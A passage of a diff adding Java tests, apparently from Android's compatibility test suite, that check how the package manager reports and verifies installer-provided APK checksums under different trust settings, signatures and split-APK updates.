+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 7);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MERKLE_ROOT_4K_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()),
+                "90553b8d221ab1b900b242a93e4cc659ace3a2ff1d5c62e502488b385854e66a");
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[2].getType(), TYPE_WHOLE_SHA1);
+        assertEquals(bytesToHexString(checksums[2].getValue()),
+                "331eef6bc57671de28cbd7e32089d047285ade6a");
+        assertEquals(checksums[3].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[3].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA512);
+        assertEquals(bytesToHexString(checksums[4].getValue()),
+                "b59467fe578ebc81974ab3aaa1e0d2a76fef3e4ea7212a6f2885cec1af5253571"
+                        + "1e2e94496224cae3eba8dc992144ade321540ebd458ec5b9e6a4cc51170e018");
+        assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[5].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertEquals(checksums[6].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA512);
+        assertEquals(bytesToHexString(checksums[6].getValue()),
+                "ef80a8630283f60108e8557c924307d0ccdfb6bbbf2c0176bd49af342f43bc84"
+                        + "5f2888afcb71524196dda0d6dd16a6a3292bb75b431b8ff74fb60d796e882f80");
+    }
+
+    @Test
+    public void testInstallerChecksumsTrustNone() throws Exception {
+        installApkWithChecksums(TEST_FIXED_APK_DIGESTS);
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[0].getInstallerPackageName());
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerWrongChecksumsTrustAll() throws Exception {
+        installApkWithChecksums(TEST_FIXED_APK_WRONG_DIGESTS);
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_ALL, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[0].getInstallerPackageName());
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerSignedChecksumsInvalidSignature() throws Exception {
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+            writeFileToSession(session, "file", TEST_FIXED_APK);
+            try {
+                session.setChecksums("file", Arrays.asList(TEST_FIXED_APK_DIGESTS),
+                        hexStringToBytes("1eec9e86"));
+                Assert.fail("setChecksums should throw exception.");
+            } catch (IllegalArgumentException e) {
+                // expected
+            }
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    @Test
+    public void testInstallerSignedChecksumsTrustNone() throws Exception {
+        final byte[] signature = readSignature();
+
+        CommitIntentReceiver.checkSuccess(
+                installApkWithChecksums(TEST_FIXED_APK, "file", "file", TEST_FIXED_APK_DIGESTS,
+                        signature));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_NONE, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[0].getInstallerPackageName());
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerSignedChecksumsTrustAll() throws Exception {
+        final byte[] signature = readSignature();
+        final Certificate certificate = readCertificate();
+
+        CommitIntentReceiver.checkSuccess(
+                installApkWithChecksums(TEST_FIXED_APK, "file", "file", TEST_FIXED_APK_DIGESTS,
+                        signature));
+
+        LocalListener receiver = new LocalListener();
+        PackageManager pm = getPackageManager();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_ALL, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        // v2/v3+installer provided.
+        assertEquals(checksums.length, 3);
+
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[0].getSplitName(), null);
+        assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[0].getInstallerCertificate(), certificate);
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[1].getSplitName(), null);
+        assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[1].getInstallerCertificate(), certificate);
+        assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[2].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertEquals(checksums[2].getSplitName(), null);
+        assertNull(checksums[2].getInstallerPackageName());
+        assertNull(checksums[2].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerChecksumsTrustAll() throws Exception {
+        installApkWithChecksums(TEST_FIXED_APK_DIGESTS);
+
+        final Certificate installerCertificate = getInstallerCertificate();
+
+        LocalListener receiver = new LocalListener();
+        getPackageManager().requestChecksums(FIXED_PACKAGE_NAME, true, 0, TRUST_ALL,
+                receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        // v2/v3+installer provided.
+        assertEquals(checksums.length, 3);
+
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[0].getSplitName(), null);
+        assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[0].getInstallerCertificate(), installerCertificate);
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[1].getSplitName(), null);
+        assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[1].getInstallerCertificate(), installerCertificate);
+        assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[2].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertEquals(checksums[2].getSplitName(), null);
+        assertNull(checksums[2].getInstallerPackageName());
+        assertNull(checksums[2].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerChecksumsTrustInstaller() throws Exception {
+        installApkWithChecksums(TEST_FIXED_APK_DIGESTS);
+
+        // Using the installer's certificate(s).
+        PackageManager pm = getPackageManager();
+        PackageInfo packageInfo = pm.getPackageInfo(CTS_PACKAGE_NAME, GET_SIGNING_CERTIFICATES);
+        final List<Certificate> signatures = convertSignaturesToCertificates(
+                packageInfo.signingInfo.getApkContentsSigners());
+
+        LocalListener receiver = new LocalListener();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, signatures, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 3);
+        assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_MD5);
+        assertEquals(checksums[0].getSplitName(), null);
+        assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[0].getInstallerCertificate(), signatures.get(0));
+        assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+        assertEquals(bytesToHexString(checksums[1].getValue()), TEST_FIXED_APK_SHA256);
+        assertEquals(checksums[1].getSplitName(), null);
+        assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+        assertEquals(checksums[1].getInstallerCertificate(), signatures.get(0));
+        assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[2].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertEquals(checksums[2].getSplitName(), null);
+        assertNull(checksums[2].getInstallerPackageName());
+        assertNull(checksums[2].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerChecksumsTrustWrongInstaller() throws Exception {
+        installApkWithChecksums(TEST_FIXED_APK_DIGESTS);
+
+        // Using certificates from a security app, not the installer (us).
+        PackageManager pm = getPackageManager();
+        PackageInfo packageInfo = pm.getPackageInfo(FIXED_PACKAGE_NAME, GET_SIGNING_CERTIFICATES);
+        final List<Certificate> signatures = convertSignaturesToCertificates(
+                packageInfo.signingInfo.getApkContentsSigners());
+
+        LocalListener receiver = new LocalListener();
+        pm.requestChecksums(FIXED_PACKAGE_NAME, true, 0, signatures, receiver);
+        ApkChecksum[] checksums = receiver.getResult();
+        assertNotNull(checksums);
+        assertEquals(checksums.length, 1);
+        assertEquals(checksums[0].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+        assertEquals(bytesToHexString(checksums[0].getValue()), TEST_FIXED_APK_V2_SHA256);
+        assertNull(checksums[0].getInstallerPackageName());
+        assertNull(checksums[0].getInstallerCertificate());
+    }
+
+    @Test
+    public void testInstallerChecksumsTrustAllWrongName() throws Exception {
+        CommitIntentReceiver.checkFailure(
+                installApkWithChecksums(TEST_FIXED_APK, "apk", "wrong_name",
+                        TEST_FIXED_APK_DIGESTS),
+                "INSTALL_FAILED_SESSION_INVALID: Invalid checksum name(s): wrong_name");
+    }
+
+    @Test
+    public void testInstallerChecksumsUpdate() throws Exception {
+        Checksum[] digestsBase = new Checksum[]{new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(
+                "ed8c7ae1220fe16d558e00cfc37256e6f7088ab90eb04c1bfcb39922a8a5248e")),
+                new Checksum(TYPE_WHOLE_MD5, hexStringToBytes("dd93e23bb8cdab0382fdca0d21a4f1cb"))};
+        Checksum[] digestsSplit0 = new Checksum[]{new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(
+                "bd9b095a49a9068498b018ce8cb7cc18d411b13a5a5f7fb417d2ff9808ae838e")),
+                new Checksum(TYPE_WHOLE_MD5, hexStringToBytes("f6430e1b795ce2658c49e68d15316b2d"))};
+        Checksum[] digestsSplit1 = new Checksum[]{new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(
+                "f16898f43990c14585a900eda345c3a236c6224f63920d69cfe8a7afbc0c0ccf")),
+                new Checksum(TYPE_WHOLE_MD5, hexStringToBytes("d1f4b00d034994663e84f907fe4bb664"))};
+
+        final Certificate installerCertificate = getInstallerCertificate();
+
+        // Original package checksums: base + split0.
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+
+            writeFileToSession(session, "hw5", TEST_V4_APK);
+            session.setChecksums("hw5", Arrays.asList(digestsBase), NO_SIGNATURE);
+
+            writeFileToSession(session, "hw5_split0", TEST_V4_SPLIT0);
+            session.setChecksums("hw5_split0", Arrays.asList(digestsSplit0), NO_SIGNATURE);
+
+            CommitIntentReceiver receiver = new CommitIntentReceiver();
+            session.commit(receiver.getIntentSender());
+            CommitIntentReceiver.checkSuccess(receiver.getResult());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+
+        {
+            LocalListener receiver = new LocalListener();
+            PackageManager pm = getPackageManager();
+            pm.requestChecksums(V4_PACKAGE_NAME, true, 0, TRUST_ALL, receiver);
+            ApkChecksum[] checksums = receiver.getResult();
+            assertNotNull(checksums);
+            assertEquals(checksums.length, 6);
+            // base
+            assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[0].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[0].getValue()),
+                    "dd93e23bb8cdab0382fdca0d21a4f1cb");
+            assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[0].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[1].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[1].getValue()),
+                    "ed8c7ae1220fe16d558e00cfc37256e6f7088ab90eb04c1bfcb39922a8a5248e");
+            assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[1].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[2].getSplitName(), null);
+            assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[2].getInstallerPackageName());
+            assertNull(checksums[2].getInstallerCertificate());
+            // split0
+            assertEquals(checksums[3].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[3].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[3].getValue()),
+                    "f6430e1b795ce2658c49e68d15316b2d");
+            assertEquals(checksums[3].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[3].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[4].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[4].getValue()),
+                    "bd9b095a49a9068498b018ce8cb7cc18d411b13a5a5f7fb417d2ff9808ae838e");
+            assertEquals(checksums[4].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[4].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[5].getSplitName(), "config.hdpi");
+            assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[5].getInstallerPackageName());
+            assertNull(checksums[5].getInstallerCertificate());
+        }
+
+        // Update the package with one split+checksums and another split without checksums.
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+            params.setAppPackageName(V4_PACKAGE_NAME);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+
+            writeFileToSession(session, "hw5_split1", TEST_V4_SPLIT1);
+            session.setChecksums("hw5_split1", Arrays.asList(digestsSplit1), NO_SIGNATURE);
+
+            writeFileToSession(session, "hw5_split2", TEST_V4_SPLIT2);
+
+            CommitIntentReceiver receiver = new CommitIntentReceiver();
+            session.commit(receiver.getIntentSender());
+            CommitIntentReceiver.checkSuccess(receiver.getResult());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+
+        {
+            LocalListener receiver = new LocalListener();
+            PackageManager pm = getPackageManager();
+            pm.requestChecksums(V4_PACKAGE_NAME, true, 0, TRUST_ALL, receiver);
+            ApkChecksum[] checksums = receiver.getResult();
+            assertNotNull(checksums);
+            assertEquals(checksums.length, 10);
+            // base
+            assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[0].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[0].getValue()),
+                    "dd93e23bb8cdab0382fdca0d21a4f1cb");
+            assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[0].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[1].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[1].getValue()),
+                    "ed8c7ae1220fe16d558e00cfc37256e6f7088ab90eb04c1bfcb39922a8a5248e");
+            assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[1].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[2].getSplitName(), null);
+            assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[2].getInstallerPackageName());
+            assertNull(checksums[2].getInstallerCertificate());
+            // split0
+            assertEquals(checksums[3].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[3].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[3].getValue()),
+                    "f6430e1b795ce2658c49e68d15316b2d");
+            assertEquals(checksums[3].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[3].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[4].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[4].getValue()),
+                    "bd9b095a49a9068498b018ce8cb7cc18d411b13a5a5f7fb417d2ff9808ae838e");
+            assertEquals(checksums[4].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[4].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[5].getSplitName(), "config.hdpi");
+            assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[5].getInstallerPackageName());
+            assertNull(checksums[5].getInstallerCertificate());
+            // split1
+            assertEquals(checksums[6].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[6].getSplitName(), "config.mdpi");
+            assertEquals(bytesToHexString(checksums[6].getValue()),
+                    "d1f4b00d034994663e84f907fe4bb664");
+            assertEquals(checksums[6].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[6].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[7].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[7].getSplitName(), "config.mdpi");
+            assertEquals(bytesToHexString(checksums[7].getValue()),
+                    "f16898f43990c14585a900eda345c3a236c6224f63920d69cfe8a7afbc0c0ccf");
+            assertEquals(checksums[7].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[7].getInstallerCertificate(), installerCertificate);
+            assertEquals(checksums[8].getSplitName(), "config.mdpi");
+            assertEquals(checksums[8].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[8].getInstallerPackageName());
+            assertNull(checksums[8].getInstallerCertificate());
+            // split2
+            assertEquals(checksums[9].getSplitName(), "config.xhdpi");
+            assertEquals(checksums[9].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[9].getInstallerPackageName());
+            assertNull(checksums[9].getInstallerCertificate());
+        }
+    }
+
+    @Test
+    public void testInstallerSignedChecksumsUpdate() throws Exception {
+        Checksum[] digestsBase = new Checksum[]{new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(
+                "ed8c7ae1220fe16d558e00cfc37256e6f7088ab90eb04c1bfcb39922a8a5248e")),
+                new Checksum(TYPE_WHOLE_MD5, hexStringToBytes("dd93e23bb8cdab0382fdca0d21a4f1cb"))};
+        Checksum[] digestsSplit0 = new Checksum[]{new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(
+                "bd9b095a49a9068498b018ce8cb7cc18d411b13a5a5f7fb417d2ff9808ae838e")),
+                new Checksum(TYPE_WHOLE_MD5, hexStringToBytes("f6430e1b795ce2658c49e68d15316b2d"))};
+        Checksum[] digestsSplit1 = new Checksum[]{new Checksum(TYPE_WHOLE_SHA256, hexStringToBytes(
+                "f16898f43990c14585a900eda345c3a236c6224f63920d69cfe8a7afbc0c0ccf")),
+                new Checksum(TYPE_WHOLE_MD5, hexStringToBytes("d1f4b00d034994663e84f907fe4bb664"))};
+
+        String digestBaseFile = ApkChecksums.buildDigestsPathForApk(TEST_V4_APK);
+        String digestSplit0File = ApkChecksums.buildDigestsPathForApk(TEST_V4_SPLIT0);
+        String digestSplit1File = ApkChecksums.buildDigestsPathForApk(TEST_V4_SPLIT1);
+
+        checkStoredChecksums(digestsBase, digestBaseFile);
+        checkStoredChecksums(digestsSplit0, digestSplit0File);
+        checkStoredChecksums(digestsSplit1, digestSplit1File);
+
+        byte[] digestBaseSignature = readSignature(
+                ApkChecksums.buildSignaturePathForDigests(digestBaseFile));
+        byte[] digestSplit0Signature = readSignature(
+                ApkChecksums.buildSignaturePathForDigests(digestSplit0File));
+        byte[] digestSplit1Signature = readSignature(
+                ApkChecksums.buildSignaturePathForDigests(digestSplit1File));
+
+        final Certificate certificate = readCertificate();
+
+        // Original package checksums: base + split0.
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+
+            writeFileToSession(session, "hw5", TEST_V4_APK);
+            session.setChecksums("hw5", Arrays.asList(digestsBase), digestBaseSignature);
+
+            writeFileToSession(session, "hw5_split0", TEST_V4_SPLIT0);
+            session.setChecksums("hw5_split0", Arrays.asList(digestsSplit0), digestSplit0Signature);
+
+            CommitIntentReceiver receiver = new CommitIntentReceiver();
+            session.commit(receiver.getIntentSender());
+            CommitIntentReceiver.checkSuccess(receiver.getResult());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+
+        {
+            LocalListener receiver = new LocalListener();
+            PackageManager pm = getPackageManager();
+            pm.requestChecksums(V4_PACKAGE_NAME, true, 0, TRUST_ALL, receiver);
+            ApkChecksum[] checksums = receiver.getResult();
+            assertNotNull(checksums);
+            assertEquals(checksums.length, 6);
+            // base
+            assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[0].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[0].getValue()),
+                    "dd93e23bb8cdab0382fdca0d21a4f1cb");
+            assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[0].getInstallerCertificate(), certificate);
+            assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[1].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[1].getValue()),
+                    "ed8c7ae1220fe16d558e00cfc37256e6f7088ab90eb04c1bfcb39922a8a5248e");
+            assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[1].getInstallerCertificate(), certificate);
+            assertEquals(checksums[2].getSplitName(), null);
+            assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[2].getInstallerPackageName());
+            assertNull(checksums[2].getInstallerCertificate());
+            // split0
+            assertEquals(checksums[3].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[3].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[3].getValue()),
+                    "f6430e1b795ce2658c49e68d15316b2d");
+            assertEquals(checksums[3].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[3].getInstallerCertificate(), certificate);
+            assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[4].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[4].getValue()),
+                    "bd9b095a49a9068498b018ce8cb7cc18d411b13a5a5f7fb417d2ff9808ae838e");
+            assertEquals(checksums[4].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[4].getInstallerCertificate(), certificate);
+            assertEquals(checksums[5].getSplitName(), "config.hdpi");
+            assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[5].getInstallerPackageName());
+            assertNull(checksums[5].getInstallerCertificate());
+        }
+
+        // Update the package with one split+checksums and another split without checksums.
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_INHERIT_EXISTING);
+            params.setAppPackageName(V4_PACKAGE_NAME);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+
+            writeFileToSession(session, "hw5_split1", TEST_V4_SPLIT1);
+            session.setChecksums("hw5_split1", Arrays.asList(digestsSplit1), digestSplit1Signature);
+
+            writeFileToSession(session, "hw5_split2", TEST_V4_SPLIT2);
+
+            CommitIntentReceiver receiver = new CommitIntentReceiver();
+            session.commit(receiver.getIntentSender());
+            CommitIntentReceiver.checkSuccess(receiver.getResult());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+
+        {
+            LocalListener receiver = new LocalListener();
+            PackageManager pm = getPackageManager();
+            pm.requestChecksums(V4_PACKAGE_NAME, true, 0, TRUST_ALL, receiver);
+            ApkChecksum[] checksums = receiver.getResult();
+            assertNotNull(checksums);
+            assertEquals(checksums.length, 10);
+            // base
+            assertEquals(checksums[0].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[0].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[0].getValue()),
+                    "dd93e23bb8cdab0382fdca0d21a4f1cb");
+            assertEquals(checksums[0].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[0].getInstallerCertificate(), certificate);
+            assertEquals(checksums[1].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[1].getSplitName(), null);
+            assertEquals(bytesToHexString(checksums[1].getValue()),
+                    "ed8c7ae1220fe16d558e00cfc37256e6f7088ab90eb04c1bfcb39922a8a5248e");
+            assertEquals(checksums[1].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[1].getInstallerCertificate(), certificate);
+            assertEquals(checksums[2].getSplitName(), null);
+            assertEquals(checksums[2].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[2].getInstallerPackageName());
+            assertNull(checksums[2].getInstallerCertificate());
+            // split0
+            assertEquals(checksums[3].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[3].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[3].getValue()),
+                    "f6430e1b795ce2658c49e68d15316b2d");
+            assertEquals(checksums[3].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[3].getInstallerCertificate(), certificate);
+            assertEquals(checksums[4].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[4].getSplitName(), "config.hdpi");
+            assertEquals(bytesToHexString(checksums[4].getValue()),
+                    "bd9b095a49a9068498b018ce8cb7cc18d411b13a5a5f7fb417d2ff9808ae838e");
+            assertEquals(checksums[4].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[4].getInstallerCertificate(), certificate);
+            assertEquals(checksums[5].getSplitName(), "config.hdpi");
+            assertEquals(checksums[5].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[5].getInstallerPackageName());
+            assertNull(checksums[5].getInstallerCertificate());
+            // split1
+            assertEquals(checksums[6].getType(), TYPE_WHOLE_MD5);
+            assertEquals(checksums[6].getSplitName(), "config.mdpi");
+            assertEquals(bytesToHexString(checksums[6].getValue()),
+                    "d1f4b00d034994663e84f907fe4bb664");
+            assertEquals(checksums[6].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[6].getInstallerCertificate(), certificate);
+            assertEquals(checksums[7].getType(), TYPE_WHOLE_SHA256);
+            assertEquals(checksums[7].getSplitName(), "config.mdpi");
+            assertEquals(bytesToHexString(checksums[7].getValue()),
+                    "f16898f43990c14585a900eda345c3a236c6224f63920d69cfe8a7afbc0c0ccf");
+            assertEquals(checksums[7].getInstallerPackageName(), CTS_PACKAGE_NAME);
+            assertEquals(checksums[7].getInstallerCertificate(), certificate);
+            assertEquals(checksums[8].getSplitName(), "config.mdpi");
+            assertEquals(checksums[8].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[8].getInstallerPackageName());
+            assertNull(checksums[8].getInstallerCertificate());
+            // split2
+            assertEquals(checksums[9].getSplitName(), "config.xhdpi");
+            assertEquals(checksums[9].getType(), TYPE_PARTIAL_MERKLE_ROOT_1M_SHA256);
+            assertNull(checksums[9].getInstallerPackageName());
+            assertNull(checksums[9].getInstallerCertificate());
+        }
+    }
+
+    @Test
+    public void testInstallerChecksumsIncremental() throws Exception {
+        if (!checkIncrementalDeliveryFeature()) {
+            return;
+        }
+
+        final Certificate installerCertificate = getInstallerCertificate();
+
